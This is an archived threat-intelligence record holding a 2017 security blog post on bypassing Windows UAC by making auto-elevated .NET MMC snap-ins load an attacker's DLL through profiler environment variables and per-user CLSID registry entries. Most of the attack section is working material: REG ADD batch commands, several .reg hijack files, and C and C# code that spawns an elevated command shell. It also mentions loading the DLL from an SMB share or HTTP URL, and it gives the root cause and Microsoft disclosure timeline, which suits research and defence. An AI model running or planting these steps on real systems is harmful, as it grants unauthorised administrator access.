{
	"id": "03f5bb69-93f3-42e4-9698-387eb44c9273",
	"created_at": "2026-04-06T15:54:16.270868Z",
	"updated_at": "2026-04-10T03:22:01.719498Z",
	"deleted_at": null,
	"sha1_hash": "1f367e0d503fd05c4e7c07103688c3bc4429012f",
	"title": "UAC bypass via elevated .NET applications",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 543319,
	"plain_text": "UAC bypass via elevated .NET applications\r\nArchived: 2026-04-06 15:47:34 UTC\r\nPublished on Fri 15 September 2017 by @clavoillotte\r\nEdited on Tue 30 April 2019\r\nTL;DR .NET Framework can be made to load a profiling DLL or a COM component DLL via user-defined\r\nenvironment variables and CLSID registry entries, even when the process is elevated. This behavior can be\r\nexploited to bypass UAC in default settings on Windows 7 to 10 (including the latest RS3 builds) by making an\r\nauto-elevate .NET process (such as MMC snap-ins) load an arbitrary DLL.\r\nUpdate: Dwight Hohnstein (@djhohnstein) made a C# implementation of this technique, and @3gstudent did a\r\nblog post in chinese\r\nIntroduction\r\nLast May, Casey Smith pointed out on twitter and on his blog that the .NET profiler DLL loading can be abused to\r\nmake a legit .NET application load a malicious DLL using environment variables.\r\nWhen reading this, first thing that came to mind was \"if this works with elevated .NET processes, this would make\r\na nice UAC bypass as well\". And sure enough, it does.\r\nThis issue is still unfixed as of this writing – and may remain so – but is already public since July, as it was\r\nindependently discovered, reported and published on Full Disclosure by Stefan Kanthak.\r\nBypassing UAC\r\nTo make a .NET application load an arbitrary DLL, we can use the following environment variables:\r\nCOR_ENABLE_PROFILING=1\r\nCOR_PROFILER={GUID}\r\nCOR_PROFILER_PATH=C:\\path\\to\\some.dll\r\nOn .NET \u003c 4, the CLSID must be defined via the HKCR\\CLSID{GUID}\\InprocServer32 registry key containing\r\nthe path to the profiling DLL. On recent versions, the CLR uses the COR_PROFILER_PATH environment\r\nvariable to find the DLL – and falls back to using the CLSID if COR_PROFILER_PATH is not defined.\r\nHKCR\\CLSID is a combined view of Software\\Classes\\CLSID in HKLM and HKCU. Creating the CLSID keys\r\nin HKLM (or machine-level environment variables) requires elevation, but creating them in HKCU does not. And\r\nthe catch is, everything works just fine with user-level environment variables and registry entries.\r\nNow we only need an executable that is auto-elevated (no UAC prompt in default settings) and uses the .NET\r\nCLR to load our fake profiler DLL. MMC is a good fit for that, in my testing I used the gpedit MMC but there are\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 1 of 9\n\nother usable ones (examples later).\r\nGetting this to work is as simple as a few batch commands:\r\nREG ADD \"HKCU\\Software\\Classes\\CLSID\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\\InprocServer32\" /ve /t REG_EXPAND_S\r\nREG ADD \"HKCU\\Environment\" /v \"COR_PROFILER\" /t REG_SZ /d \"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\" /f\r\nREG ADD \"HKCU\\Environment\" /v \"COR_ENABLE_PROFILING\" /t REG_SZ /d \"1\" /f\r\nREG ADD \"HKCU\\Environment\" /v \"COR_PROFILER_PATH\" /t REG_SZ /d \"C:\\Temp\\test.dll\" /f\r\nmmc gpedit.msc\r\nThese commands run in an unelevated command prompt will load C:\\Temp\\test.dll (if it exists) in the elevated\r\nmmc.exe process.\r\nThis allows for an UAC bypass in default settings on Windows 7 to 10 (including the latest RS3 builds as of this\r\nwriting).\r\nHere is a PowerShell PoC with an embedded DLL (x64 only).\r\nThe DLL just runs cmd.exe on DLL_PROCESS_ATTACH, spawning an elevated command shell, and\r\nimmediately exits the current process to prevent the MMC console from popping up:\r\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)\r\n{\r\n char cmd[] = \"cmd.exe\";\r\n switch (fdwReason)\r\n {\r\n case DLL_PROCESS_ATTACH:\r\n WinExec(cmd, SW_SHOWNORMAL);\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 2 of 9\n\nExitProcess(0);\r\n break;\r\n case DLL_THREAD_ATTACH:\r\n break;\r\n case DLL_THREAD_DETACH:\r\n break;\r\n case DLL_PROCESS_DETACH:\r\n break;\r\n }\r\n return TRUE;\r\n}\r\nTested on x64 Windows 7, 8.1, 10 1703 and 10 RS3 build 16275.\r\nOf course, it also works with UNC paths if you have a reachable SMB share:\r\nCOR_PROFILER_PATH=\\\\server\\share\\test.dll\r\nRoot cause\r\nWhile the COM runtime does prevent CLSID lookups in user registry (HKCU) when running in elevated\r\nprocesses to prevent such bypasses, the .NET runtime does not – and in this case the lookup is performed by the\r\nlatter, who appears to shim the component lookup:\r\nThe fix would require implementing in CLR checks similar to COM ones.\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 3 of 9\n\nAdditional vectors\r\nNow that we know how CLR behaves, we can find other instances by checking CLSIDs lookups in HKCU with\r\nCLR calls in the stack. One instance also in GPEdit, is the\r\n\"Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager\" component (CLSID {B29D466A-857D-35BA-8712-A758861BFEA1} on my test VM):\r\nLooking at the existing entries in HKCR seems to indicate the component itself is implemented in a CLR\r\nassembly:\r\nWe can define a COM entry in the user registry as such (.reg format):\r\nWindows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}]\r\n@=\"Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager\"\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 4 of 9\n\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\Implemented Categories]\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\Implemented Categories\\{62C8FE6\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\InprocServer32]\r\n@=\"C:\\\\Windows\\\\System32\\\\mscoree.dll\"\r\n\"Assembly\"=\"TestDotNet, Version=0.0.0.0, Culture=neutral\"\r\n\"Class\"=\"TestDotNet.Class1\"\r\n\"RuntimeVersion\"=\"v4.0.30319\"\r\n\"ThreadingModel\"=\"Both\"\r\n\"CodeBase\"=\"file://C://Temp//test_managed.dll\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\InprocServer32\\10.0.0.0]\r\n\"Assembly\"=\"TestDotNet, Version=0.0.0.0, Culture=neutral\"\r\n\"Class\"=\"TestDotNet.Class1\"\r\n\"RuntimeVersion\"=\"v4.0.30319\"\r\n\"CodeBase\"=\"file://C://Temp//test_managed.dll\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{B29D466A-857D-35BA-8712-A758861BFEA1}\\ProgId]\r\n@=\"Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager\"\r\nMMC will then load our managed DLL and try to access the TestDotNet.Class1 class. By default, C# does not\r\nhave an easy way to create a simple DLL entry point such as DllMain (we don't want to write a module initializer\r\nfor this because we're lazy), but the class referenced in registry seems to be loaded so we can just use a static\r\nconstructor to execute our elevated code:\r\nusing System;\r\nusing System.Diagnostics;\r\nnamespace TestDotNet\r\n{\r\n public class Class1\r\n {\r\n static Class1()\r\n {\r\n Process.Start(\"cmd.exe\");\r\n Environment.Exit(0);\r\n }\r\n }\r\n}\r\nWith the DLL in place and the corresponding registry entries, running gpedit.msc now results in an elevated shell\r\n(but this time from a .NET DLL):\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 5 of 9\n\nAn interesting property of this method is that the CodeBase parameter is not limited to local files and SMB shares,\r\nthe DLL can be loaded from an HTTP URL as well:\r\n\"CodeBase\"=\"http://server:8080/test_managed.dll\"\r\nNote that the downloaded DLL is copied to disk, so this method is actually easier to detect than a local DLL (disk\r\n+ network artifacts).\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 6 of 9\n\nAnother nice thing (for attackers), there are several CLSIDs that can be abused this way.\r\nThe following can be used with compmgmt.msc, eventvwr.msc, secpol.msc and taskschd.msc:\r\n\"Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory\" component as a managed DLL\r\nWindows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]\r\n@=\"Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\Implemented Categories]\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\Implemented Categories\\{62C8FE6\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\InprocServer32]\r\n@=\"C:\\\\Windows\\\\System32\\\\mscoree.dll\"\r\n\"Assembly\"=\"TestDotNet, Version=0.0.0.0, Culture=neutral\"\r\n\"Class\"=\"TestDotNet.Class1\"\r\n\"RuntimeVersion\"=\"v2.0.50727\"\r\n\"ThreadingModel\"=\"Both\"\r\n\"CodeBase\"=\"file://C://Temp//test_managed.dll\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\InprocServer32\\3.0.0.0]\r\n\"Assembly\"=\"TestDotNet, Version=0.0.0.0, Culture=neutral\"\r\n\"Class\"=\"TestDotNet.Class1\"\r\n\"RuntimeVersion\"=\"v2.0.50727\"\r\n\"CodeBase\"=\"file://C://Temp//test_managed.dll\"\r\n\"NDP SymBinder\" component as a native DLL, hijack via the \\Server entry\r\nWindows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]\r\n@=\"NDP SymBinder\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\InprocServer32]\r\n@=\"C:\\\\Windows\\\\System32\\\\mscoree.dll\"\r\n\"ThreadingModel\"=\"Both\"\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 7 of 9\n\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\InprocServer32\\4.0.30319]\r\n@=\"4.0.30319\"\r\n\"ImplementedInThisVersion\"=\"\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\ProgID]\r\n@=\"CorSymBinder_SxS\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\Server]\r\n@=\"C:\\\\Temp\\\\test_unmanaged.dll\"\r\n\"Microsoft Common Language Runtime Meta Data\" component as a native DLL, hijack via the \\Server\r\nentry (secpol.msc only)\r\nWindows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]\r\n@=\"Microsoft Common Language Runtime Meta Data\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\\InprocServer32]\r\n@=\"C:\\\\Windows\\\\System32\\\\mscoree.dll\"\r\n\"ThreadingModel\"=\"Both\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\\InprocServer32\\4.0.30319]\r\n@=\"4.0.30319\"\r\n\"ImplementedInThisVersion\"=\"\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\\ProgID]\r\n@=\"CLRMetaData.CorRuntimeHost.2\"\r\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\\Server]\r\n@=\"..\\\\..\\\\..\\\\..\\\\Temp\\\\test_unmanaged.dll\"\r\n(Note: here the path must be relative, otherwise mmc.exe tries to load\r\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\C:\\Temp\\test_unmanaged.dll)\r\nNot a security boundary\r\nMicrosoft repeatedly stated that UAC is not a security boundary. Security people usually phrase it in a more\r\npragmatic way: do not trust UAC, do not run as split-token admin, always use a non-admin user for your non-admin tasks. I couldn't agree more.\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 8 of 9\n\nStill, a lot of people run everything as local admin and are interesting targets for pentesters / red teamers – as well\r\nas real bad guys. So I guess new techniques are still of interest to some.\r\nFor pentest purposes I'd recommend the generic one from @tiraniddo (example implementation here, another one\r\nhere) as it does not require a DLL load and doesn't seem to be caught by most EDR solutions yet.\r\nAlso, if you're into UAC bypasses, there is a lot of resource out there on the topic, but the following are must-reads:\r\n@enigma0x3's research (and his DerbyCon talk: slides, video)\r\n@tiraniddo's bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part\r\n2 \u0026 part 3\r\n@hFireF0X's UACME project that implements most known UAC bypasses, and his posts on kernelmode\r\n@FuzzySec's UAC workshop, and his Bypass-UAC project that implements several bypasses in\r\nPowerShell\r\nMany thanks to Casey Smith (@subtee) for pointing out the .NET profiler DLL trick, to the helpful MS dev for\r\ninformation on the root cause, and to Matt Graeber (@mattifestation) for his advices and his review of this post.\r\nTimeline\r\n2017-05-19 Bypass found\r\n2017-05-20 Email sent to MSRC (cc'ing an MS dev as suggested by @mattifestation)\r\n2017-05-22 MSRC case #38811 open\r\n2017-05-20/23 Discussion with MS dev, additional info\r\n2017-06-24 Reply from MSRC: \"We have finished our investigation and determined this does not meet the bar for\r\nservicing downlevel. UAC is not a security boundary.\"\r\n2017-07-05 Publication of the profiler bypass on Full Disclosure by Stefan Kanthak\r\n2017-09-15 Publication of this post\r\nSource: https://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nhttps://offsec.almond.consulting/UAC-bypass-dotnet.html\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://offsec.almond.consulting/UAC-bypass-dotnet.html"
	],
	"report_names": [
		"UAC-bypass-dotnet.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775490856,
	"ts_updated_at": 1775791321,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1f367e0d503fd05c4e7c07103688c3bc4429012f.pdf",
		"text": "https://archive.orkl.eu/1f367e0d503fd05c4e7c07103688c3bc4429012f.txt",
		"img": "https://archive.orkl.eu/1f367e0d503fd05c4e7c07103688c3bc4429012f.jpg"
	}
}